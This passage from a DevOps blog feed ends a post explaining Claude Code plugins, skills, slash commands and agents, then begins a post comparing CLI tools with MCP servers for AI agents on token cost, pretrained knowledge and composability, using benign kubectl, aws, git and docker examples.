              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># From the official marketplace</span>
/install-plugin context7

<span class="hljs-comment"># From GitHub</span>
/install-plugin https://github.com/org/plugin-name

<span class="hljs-comment"># List installed plugins</span>
/plugins
</code></pre><h3 id="h3-the-plugin-marketplace" class="group relative scroll-mt-24">
        <a href="#h3-the-plugin-marketplace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The plugin marketplace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-plugin-marketplace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There are two marketplaces:</p>
<ol>
<li><strong>Official marketplace</strong> (<code>claude.com/plugins</code>) - verified by Anthropic, generally safe</li>
<li><strong>Knowledge-work marketplace</strong> - business-focused plugins (marketing, sales, legal)</li>
</ol>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the knowledge-work marketplace</span>
/plugin marketplace add anthropics/knowledge-work-plugins
</code></pre><h3 id="h3-when-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h3-when-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When to install plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>When you need capabilities Claude does not have natively (live docs, security scanning)</li>
<li>When you want structured workflows for your team (standardized PR creation, review process)</li>
<li>When the context cost is worth the capability</li>
</ul>
<h3 id="h3-when-not-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h3-when-not-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When NOT to install plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-not-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>When you can achieve the same thing with a CLAUDE.md file or slash command</li>
<li>When you are &quot;collecting&quot; plugins without a specific need</li>
<li>When you notice slower responses after installing several plugins</li>
</ul>
<h2 id="h2-how-they-all-fit-together" class="group relative scroll-mt-24">
        <a href="#h2-how-they-all-fit-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How They All Fit Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-they-all-fit-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">Plugin (package)
├── Skills (loaded on demand by Claude)
├── Commands (triggered by you with /)
├── Hooks (run automatically on events)
└── MCP Servers (external tool connections)

Agents (built-in, not installed)
└── Spawned by Claude when needed for complex tasks
</code></pre><h3 id="h3-a-practical-example" class="group relative scroll-mt-24">
        <a href="#h3-a-practical-example" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A practical example
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-practical-example"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You install the <strong>Superpowers</strong> plugin. This gives you:</p>
<ul>
<li><strong>Skills</strong>: TDD workflow, debugging methodology, plan-to-code conversion</li>
<li><strong>Commands</strong>: <code>/tdd</code> to start test-driven development, <code>/debug</code> to launch structured debugging</li>
<li><strong>Hooks</strong>: maybe a pre-commit hook that runs tests</li>
</ul>
<p>When you type <code>/tdd</code>, it triggers the TDD command, which loads the TDD skill, which instructs Claude to follow a specific red-green-refactor workflow. If the task is complex, Claude might spawn an agent to write tests in parallel while it works on implementation.</p>
<p>All four mechanisms working together.</p>
<h2 id="h2-decision-guide" class="group relative scroll-mt-24">
        <a href="#h2-decision-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to follow a specific format when I ask for X"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-follow-a-specific-format-when-i-ask-for-x"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use a <strong>skill</strong> (via a plugin) or a <strong>CLAUDE.md</strong> instruction.</p>
<h3 id="h3-i-want-a-shortcut-for-a-prompt-i-type-often" class="group relative scroll-mt-24">
        <a href="#h3-i-want-a-shortcut-for-a-prompt-i-type-often" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want a shortcut for a prompt I type often"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-a-shortcut-for-a-prompt-i-type-often"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use a <strong>slash command</strong> in <code>.claude/commands/</code>.</p>
<h3 id="h3-i-want-claude-to-check-my-code-for-security-issues-automatically" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-check-my-code-for-security-issues-automatically" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to check my code for security issues automatically"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-check-my-code-for-security-issues-automatically"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Install the <strong>Security Guidance plugin</strong>.</p>
<h3 id="h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to look up current API docs instead of guessing"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-look-up-current-api-docs-instead-of-guessing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Install the <strong>Context7 plugin</strong>.</p>
<h3 id="h3-i-want-claude-to-handle-a-complex-task-autonomously" class="group relative scroll-mt-24">
        <a href="#h3-i-want-claude-to-handle-a-complex-task-autonomously" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want Claude to handle a complex task autonomously"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-claude-to-handle-a-complex-task-autonomously"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This happens automatically via <strong>agents</strong> - you do not need to configure anything.</p>
<h3 id="h3-i-want-to-enforce-rules-across-my-team" class="group relative scroll-mt-24">
        <a href="#h3-i-want-to-enforce-rules-across-my-team" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "I want to enforce rules across my team"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-want-to-enforce-rules-across-my-team"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Put them in <strong>CLAUDE.md</strong> (simplest) or create a custom <strong>plugin</strong> (most structured).</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The four extension types serve different purposes at different levels:</p>
<ul>
<li><strong>Slash commands</strong> are personal shortcuts for prompts you repeat</li>
<li><strong>Skills</strong> are structured workflows that Claude loads automatically</li>
<li><strong>Agents</strong> are autonomous workers Claude spawns for complex tasks</li>
<li><strong>Plugins</strong> are packages that bundle skills, commands, and more</li>
</ul>
<p>Start with CLAUDE.md for project rules and slash commands for frequent prompts. Add plugins only when you need capabilities that do not exist natively. Agents handle themselves - you do not need to configure them.</p>
<p>The best setup is the minimal one that covers your actual needs. Every extension you add has a cost in complexity and context. Be selective, and your Claude Code experience will be better for it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CLI vs MCP: When to Use Each for AI-Powered DevOps]]></title>
      <link>https://devops-daily.com/posts/cli-vs-mcp-when-to-use-each</link>
      <description><![CDATA[CLI tools and MCP servers both let AI agents interact with your infrastructure, but they solve different problems. Here is when to reach for each one and why the answer is usually both.]]></description>
      <pubDate>Wed, 08 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/cli-vs-mcp-when-to-use-each</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DevOps]]></category><category><![CDATA[AI]]></category><category><![CDATA[CLI]]></category><category><![CDATA[MCP]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Cloud]]></category>
      <content:encoded><![CDATA[<p>AI agents are getting good at running commands and calling APIs. But there are two very different ways to give them access to your tools: the traditional <strong>CLI</strong> (command-line interface) and the newer <strong>MCP</strong> (Model Context Protocol).</p>
<p>Both work. Both have real tradeoffs. And if you pick the wrong one for your use case, you will end up burning tokens, fighting auth issues, or building workarounds that shouldn&#39;t exist.</p>
<p>This post breaks down the six dimensions where CLI and MCP differ, with concrete examples so you can pick the right approach for each situation. 🎯</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Dimension</th>
<th>CLI</th>
<th>MCP</th>
<th>Winner</th>
</tr>
</thead>
<tbody><tr>
<td>💰 Token cost</td>
<td>~200 tokens per command</td>
<td>~44K tokens to load schema</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🧠 Native knowledge</td>
<td>LLMs pretrained on CLI syntax</td>
<td>New schema learned at runtime</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🔗 Composability</td>
<td>Unix pipes chain natively</td>
<td>Multiple LLM calls needed</td>
<td><strong>CLI</strong></td>
</tr>
<tr>
<td>🔐 Multi-user auth</td>
<td>Shared token, can&#39;t revoke per user</td>
<td>Per-user OAuth, revoke anytime</td>
<td><strong>MCP</strong></td>
</tr>
<tr>
<td>🔄 Stateful sessions</td>
<td>New TCP connection per command</td>
<td>Persistent connection, reuses state</td>
<td><strong>MCP</strong></td>
</tr>
<tr>
<td>🏢 Enterprise governance</td>
<td>Only ~/.bash_history</td>
<td>Audit, revoke, monitor built in</td>
<td><strong>MCP</strong></td>
</tr>
</tbody></table>
<p>The short version: CLI wins for simple, composable, token-efficient tasks. MCP wins when you need per-user auth, persistent state, or enterprise-grade audit trails. Most real setups will use both. 🤝</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Basic familiarity with AI agents and LLM tool use</li>
<li>Experience with command-line tools (kubectl, aws, gh, etc.)</li>
<li>Understanding of OAuth2 concepts is helpful for the auth sections</li>
</ul>
<h2 id="h2-what-is-mcp" class="group relative scroll-mt-24">
        <a href="#h2-what-is-mcp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What is MCP?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-is-mcp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before we compare, a quick primer. <strong>Model Context Protocol (MCP)</strong> is an open standard (created by Anthropic) that lets AI models connect to external tools and data sources through a structured protocol. Instead of shelling out to a CLI, the AI talks to an MCP server over a persistent connection, calling tools that are defined with typed schemas.</p>
<p>Think of it like this:</p>
<ul>
<li><strong>CLI</strong>: the AI runs <code>kubectl get pods -n production</code> as a shell command</li>
<li><strong>MCP</strong>: the AI calls <code>kubernetes.listPods({ namespace: &quot;production&quot; })</code> through a structured API</li>
</ul>
<p>Both get you the same pods list. The difference is in how the interaction is structured, authenticated, and governed.</p>
<h2 id="h2-token-cost-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-token-cost-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💰 Token Cost: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-token-cost-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where CLI has a massive advantage. When an AI agent calls a CLI tool, it sends a short command string:</p>
<pre><code class="hljs language-bash">gh <span class="hljs-built_in">pr</span> list --state open --json number,title
</code></pre><p>That is roughly <strong>200 tokens</strong>. The LLM already knows the syntax, so it doesn&#39;t need a schema definition.</p>
<p>MCP, on the other hand, requires loading the full tool schema upfront: tool names, parameter types, descriptions, authentication details. For a moderately complex MCP server, that is around <strong>44,000 tokens</strong> just to describe what tools are available, before you even call anything.</p>
<pre><code class="hljs language-text">CLI workflow:
  User prompt (100 tokens) + command (50 tokens) + output (200 tokens)
  Total: ~350 tokens per interaction

MCP workflow:
  Schema load (44K tokens) + user prompt (100 tokens) + tool call (200 tokens) + output (200 tokens)
  Total: ~44,500 tokens for the first interaction
</code></pre><p>Over a long session with many tool calls, the MCP schema cost amortizes. But for quick, one-off tasks, CLI is dramatically cheaper. 📉</p>
<p><strong>When this matters:</strong> If you&#39;re running AI agents at scale (hundreds of requests per hour) and paying per token, the cost difference is significant. If you&#39;re running a single interactive session, it&#39;s less of a concern.</p>
<h2 id="h2-native-knowledge-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-native-knowledge-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🧠 Native Knowledge: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-native-knowledge-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>LLMs were trained on millions of Stack Overflow answers, man pages, and GitHub repos full of CLI commands. When you ask an AI to &quot;list all running Docker containers,&quot; it already knows to run <code>docker ps</code>. No schema needed.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># The LLM already knows these</span>
aws s3 <span class="hljs-built_in">ls</span>
kubectl get pods
git <span class="hljs-built_in">log</span> --oneline -10
docker ps --format <span class="hljs-string">&quot;table {{.Names}}\t{{.Status}}&quot;</span>
terraform plan
</code></pre><p>MCP tools are new. The LLM has to read the schema at runtime and figure out how to use each tool. It is learning the API on the fly, which means more token usage and occasionally incorrect parameter choices.</p>
<p><strong>When this matters:</strong> For standard DevOps tools (kubectl, aws, docker, git, terraform), CLI is the natural choice. The AI already knows how to use them. For custom internal tools or APIs, MCP levels the playing field because neither approach has pretrained knowledge. 🧩</p>
<h2 id="h2-composability-cli-wins" class="group relative scroll-mt-24">
        <a href="#h2-composability-cli-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔗 Composability: CLI Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-composability-cli-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Unix pipes are one of the best ideas in computing, and they work naturally with AI agents:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Find pods using more than 1GB memory</span>
kubectl top pods -n production --no-headers | awk <span class="hljs-string">&#x27;$3 &gt; 1024 {print $1}&#x27;</span>

<span class="hljs-comment"># Get the 5 most recently modified files in a repo</span>
git <span class="hljs-built_in">log</span> --name-only --pretty=format: -50 | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -5

<span class="hljs-comment"># Chain multiple tools together</span>
aws ec2 describe-instances --query <span class="hljs-string">&#x27;Reservations[].Instances[].InstanceId&#x27;</span> --output text | \
  xargs -I {} aws ec2 describe-tags --filters <span class="hljs-string">&quot;Name=resource-id,Values={}&quot;</span> --output table
</code></pre><p>One LLM call generates the whole pipeline. The shell handles the data flow between tools.</p>
<p>With MCP, composing multiple tools requires multiple round trips to the LLM. The AI calls tool A, reads the output, decides what to pass to tool B, calls tool B, reads that output, and so on. Each step costs tokens and adds latency.</p>
<pre><code class="hljs language-text">CLI: One LLM call -&gt; one piped command -&gt; one result
MCP: LLM call -&gt; tool A -&gt; LLM reasons -&gt; tool B -&gt; LLM reasons -&gt; tool C -&gt; result
</code></pre><p><strong>When this matters:</strong> For data processing, log analysis, and multi-step infrastructure queries where you&#39;re chaining tools together. CLI is faster and cheaper. MCP is better when the steps require complex reasoning between each tool call. ⛓️</p>
<h2 id="h2-multi-user-auth-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-multi-user-auth-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Multi-User Auth: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-multi-user-auth-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
